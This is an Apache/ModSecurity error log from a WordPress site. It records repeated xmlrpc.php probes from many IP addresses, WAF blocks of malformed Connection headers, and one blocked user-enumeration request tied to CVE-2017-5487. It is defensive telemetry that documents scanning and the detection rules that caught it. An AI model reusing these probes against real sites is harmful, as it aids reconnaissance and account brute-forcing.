[Wed Jan 07 05:26:53.137420 2026] [:error] [pid 6571:tid 6616] [client 103.133.215.169:46850] [client 103.133.215.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.133.215.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1-HQ_rJpa_Vt6ZE1DpLwAAAEM"]
[Wed Jan 07 06:31:40.226071 2026] [:error] [pid 51200:tid 51265] [client 95.169.180.188:52338] [client 95.169.180.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.169.180.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV2NTIjhb00oxKSD4lesZQAAARE"]
[Wed Jan 07 06:45:26.789591 2026] [:error] [pid 6570:tid 6610] [client 43.130.72.40:33742] [client 43.130.72.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aV2QhpmjKDvKV_Af0er2gAAAABg"]
[Wed Jan 07 06:53:38.842108 2026] [:error] [pid 6570:tid 6593] [client 81.88.49.20:22328] [client 81.88.49.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.88.49.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV2ScpmjKDvKV_Af0er4iQAAAAc"]
[Wed Jan 07 08:23:27.126265 2026] [:error] [pid 30634:tid 30693] [client 89.46.105.196:24156] [client 89.46.105.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.105.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV2nf4CIPBibObtmZttOBgAAAMM"]
[Wed Jan 07 08:23:30.296227 2026] [:error] [pid 58330:tid 58336] [client 89.46.105.196:33660] [client 89.46.105.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.105.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV2ngg8kGngKGK7_wncsJAAAAQQ"]
[Wed Jan 07 08:23:33.011474 2026] [:error] [pid 30720:tid 30725] [client 89.46.105.196:33666] [client 89.46.105.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.105.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV2nhYdgcpQjqzUi9Wb7xAAAAUM"]
[Wed Jan 07 08:23:38.494349 2026] [:error] [pid 30632:tid 30655] [client 185.182.184.225:59848] [client 185.182.184.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.182.184.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV2niud3_LCpBJzo02dttAAAABM"]
[Wed Jan 07 08:23:41.475245 2026] [:error] [pid 58330:tid 58342] [client 185.182.184.225:59862] [client 185.182.184.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.182.184.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV2njQ8kGngKGK7_wncsKwAAAQo"]
[Wed Jan 07 08:23:44.211993 2026] [:error] [pid 30634:tid 30692] [client 185.182.184.225:53332] [client 185.182.184.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.182.184.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV2nkICIPBibObtmZttOGgAAAMI"]
[Wed Jan 07 08:24:32.413429 2026] [:error] [pid 58330:tid 58342] [client 185.182.184.225:42780] [client 185.182.184.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.182.184.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV2nwA8kGngKGK7_wncsVwAAAQo"]
[Wed Jan 07 08:24:34.272981 2026] [:error] [pid 58294:tid 58304] [client 128.199.67.121:33350] [client 128.199.67.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.67.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV2nwlfzA7c0ITpf3nF-xAAAAIg"]
[Wed Jan 07 08:24:35.717285 2026] [:error] [pid 58330:tid 58332] [client 185.182.184.225:46324] [client 185.182.184.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.182.184.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV2nww8kGngKGK7_wncsXQAAAQA"]
[Wed Jan 07 08:24:38.282496 2026] [:error] [pid 30632:tid 30644] [client 185.182.184.225:46336] [client 185.182.184.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.182.184.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV2nxud3_LCpBJzo02dt1QAAAAg"]
[Wed Jan 07 08:24:53.323090 2026] [:error] [pid 58330:tid 58353] [client 103.11.103.196:41092] [client 103.11.103.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.11.103.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV2n1Q8kGngKGK7_wncsdQAAARU"]
[Wed Jan 07 08:24:55.796670 2026] [:error] [pid 30633:tid 30667] [client 103.11.103.196:41094] [client 103.11.103.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.11.103.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV2n1_ZiVWlF7303nMgV-wAAAEQ"]
[Wed Jan 07 08:24:58.090808 2026] [:error] [pid 30634:tid 30713] [client 103.11.103.196:41108] [client 103.11.103.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.11.103.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV2n2oCIPBibObtmZttOTAAAANc"]
[Wed Jan 07 08:29:30.752340 2026] [:error] [pid 58294:tid 58296] [client 43.138.68.113:36296] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aV2o6lfzA7c0ITpf3nF_uQAAAIA"]
[Wed Jan 07 09:42:18.073235 2026] [:error] [pid 58330:tid 58350] [client 31.217.165.117:3190] [client 31.217.165.117] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aV25-g8kGngKGK7_wndMJQAAARI"]
[Wed Jan 07 09:43:32.905271 2026] [:error] [pid 30633:tid 30678] [client 31.217.165.117:44192] [client 31.217.165.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.217.165.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV26RPZiVWlF7303nMgm5AAAAE8"]
[Wed Jan 07 09:44:49.549223 2026] [:error] [pid 58330:tid 58336] [client 31.217.165.117:39674] [client 31.217.165.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.217.165.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV26kQ8kGngKGK7_wndNMQAAAQQ"]
[Wed Jan 07 09:45:52.503799 2026] [:error] [pid 58330:tid 58356] [client 31.217.165.117:65178] [client 31.217.165.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.217.165.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV260A8kGngKGK7_wndNdQAAARg"]
[Wed Jan 07 09:46:58.787526 2026] [:error] [pid 58294:tid 58304] [client 31.217.165.117:7864] [client 31.217.165.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.217.165.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV27ElfzA7c0ITpf3nGWRwAAAIg"]
[Wed Jan 07 09:48:12.630404 2026] [:error] [pid 30720:tid 30741] [client 31.217.165.117:43514] [client 31.217.165.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.217.165.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV27XIdgcpQjqzUi9WYO1wAAAVM"]
[Wed Jan 07 12:19:49.353267 2026] [:error] [pid 30633:tid 30666] [client 43.157.50.58:59912] [client 43.157.50.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aV3e5fZiVWlF7303nMhHAAAAAEM"]
[Wed Jan 07 12:36:59.416666 2026] [:error] [pid 58294:tid 58313] [client 18.162.179.181:50513] [client 18.162.179.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.162.179.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV3i61fzA7c0ITpf3nHGfQAAAJE"]
[Wed Jan 07 12:37:01.939112 2026] [:error] [pid 58294:tid 58319] [client 18.162.179.181:50687] [client 18.162.179.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.162.179.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV3i7VfzA7c0ITpf3nHGgQAAAJc"]
[Wed Jan 07 12:37:04.024852 2026] [:error] [pid 30634:tid 30704] [client 18.162.179.181:50800] [client 18.162.179.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.162.179.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV3i74CIPBibObtmZtuN0QAAAM4"]
[Wed Jan 07 12:37:39.367491 2026] [:error] [pid 58294:tid 58320] [client 190.92.174.109:54826] [client 190.92.174.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.92.174.109, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV3jE1fzA7c0ITpf3nHGmQAAAJg"]
[Wed Jan 07 12:37:41.924269 2026] [:error] [pid 30632:tid 30651] [client 190.92.174.109:56899] [client 190.92.174.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.92.174.109, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV3jFed3_LCpBJzo02enqwAAAA8"]
[Wed Jan 07 12:37:44.300963 2026] [:error] [pid 30633:tid 30672] [client 190.92.174.109:59083] [client 190.92.174.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.92.174.109, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV3jGPZiVWlF7303nMhKYgAAAEk"]
[Wed Jan 07 13:52:11.615004 2026] [:error] [pid 58294:tid 58309] [client 43.166.136.153:37926] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aV30i1fzA7c0ITpf3nHYOwAAAI0"]
[Wed Jan 07 14:19:30.988409 2026] [:error] [pid 30720:tid 30745] [client 95.169.180.190:51200] [client 95.169.180.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.169.180.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV368odgcpQjqzUi9WZGlwAAAVc"]
[Wed Jan 07 14:29:18.978278 2026] [:error] [pid 30720:tid 30725] [client 185.107.57.10:55387] [client 185.107.57.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.107.57.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV39PodgcpQjqzUi9WZILAAAAUM"]
[Wed Jan 07 14:42:38.887815 2026] [:error] [pid 58330:tid 58333] [client 177.131.140.128:39512] [client 177.131.140.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.131.140.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV4AXg8kGngKGK7_wnex1QAAAQE"]
[Wed Jan 07 16:43:50.039807 2026] [:error] [pid 30632:tid 30639] [client 185.177.152.135:42922] [client 185.177.152.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.177.152.135, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV4cxed3_LCpBJzo02fWdgAAAAM"]
[Wed Jan 07 16:43:54.821768 2026] [:error] [pid 30634:tid 30699] [client 185.177.152.135:42984] [client 185.177.152.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.177.152.135, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV4cyoCIPBibObtmZtvb4gAAAMk"]
[Wed Jan 07 16:43:58.974340 2026] [:error] [pid 30634:tid 30714] [client 185.177.152.135:43024] [client 185.177.152.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.177.152.135, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV4czoCIPBibObtmZtvb6QAAANg"]
[Wed Jan 07 16:46:22.331946 2026] [:error] [pid 30632:tid 30646] [client 18.162.179.181:58105] [client 18.162.179.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.162.179.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV4dXud3_LCpBJzo02fXEAAAAAo"]
[Wed Jan 07 16:46:24.757236 2026] [:error] [pid 58294:tid 58313] [client 18.162.179.181:58254] [client 18.162.179.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.162.179.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV4dYFfzA7c0ITpf3nH97QAAAJE"]
[Wed Jan 07 16:46:26.798106 2026] [:error] [pid 30634:tid 30696] [client 18.162.179.181:58349] [client 18.162.179.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.162.179.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV4dYoCIPBibObtmZtvcdgAAAMY"]
[Wed Jan 07 16:46:46.190652 2026] [:error] [pid 30720:tid 30732] [client 101.53.147.194:47554] [client 101.53.147.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 101.53.147.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV4ddodgcpQjqzUi9WZlLwAAAUo"]
[Wed Jan 07 16:46:48.507253 2026] [:error] [pid 58294:tid 58298] [client 101.53.147.194:47556] [client 101.53.147.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 101.53.147.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV4deFfzA7c0ITpf3nH9-wAAAII"]
[Wed Jan 07 16:46:50.747028 2026] [:error] [pid 58294:tid 58302] [client 101.53.147.194:47564] [client 101.53.147.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 101.53.147.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV4delfzA7c0ITpf3nH9_QAAAIY"]
[Wed Jan 07 16:47:55.649747 2026] [:error] [pid 30634:tid 30703] [client 20.189.16.8:3456] [client 20.189.16.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.189.16.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV4du4CIPBibObtmZtvcvAAAAM0"]
[Wed Jan 07 16:47:57.945043 2026] [:error] [pid 30633:tid 30668] [client 20.189.16.8:3457] [client 20.189.16.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.189.16.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV4dvfZiVWlF7303nMh8PAAAAEU"]
[Wed Jan 07 16:47:59.918890 2026] [:error] [pid 58294:tid 58304] [client 20.189.16.8:3458] [client 20.189.16.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.189.16.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV4dv1fzA7c0ITpf3nH-LwAAAIg"]
[Wed Jan 07 19:10:21.342131 2026] [:error] [pid 58330:tid 58345] [client 43.153.7.191:49792] [client 43.153.7.191] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aV4_HQ8kGngKGK7_wnfs5wAAAQ0"]
[Wed Jan 07 20:01:09.043248 2026] [autoindex:error] [pid 58330:tid 58348] [client 167.71.90.72:51675] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Jan 07 20:31:21.270930 2026] [:error] [pid 51128:tid 51151] [client 43.159.136.201:42176] [client 43.159.136.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aV5SGUGjtE8U88mrwuejMQAAAZU"]
[Wed Jan 07 20:44:43.819507 2026] [:error] [pid 30634:tid 30711] [client 132.148.106.39:61198] [client 132.148.106.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.106.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV5VO4CIPBibObtmZtsFkQAAANU"]
[Wed Jan 07 20:44:45.564160 2026] [:error] [pid 30634:tid 30699] [client 132.148.106.39:61247] [client 132.148.106.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.106.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV5VPYCIPBibObtmZtsFkwAAAMk"]
[Wed Jan 07 20:44:46.041765 2026] [:error] [pid 58294:tid 58310] [client 132.148.106.39:61265] [client 132.148.106.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.106.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV5VPlfzA7c0ITpf3nEmNwAAAI4"]
[Wed Jan 07 20:44:48.336785 2026] [:error] [pid 58294:tid 58311] [client 132.148.106.39:61329] [client 132.148.106.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.106.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV5VQFfzA7c0ITpf3nEmOQAAAI8"]
[Wed Jan 07 20:44:48.341561 2026] [:error] [pid 58330:tid 58353] [client 132.148.106.39:61328] [client 132.148.106.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.106.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV5VQA8kGngKGK7_wnf_rwAAARU"]
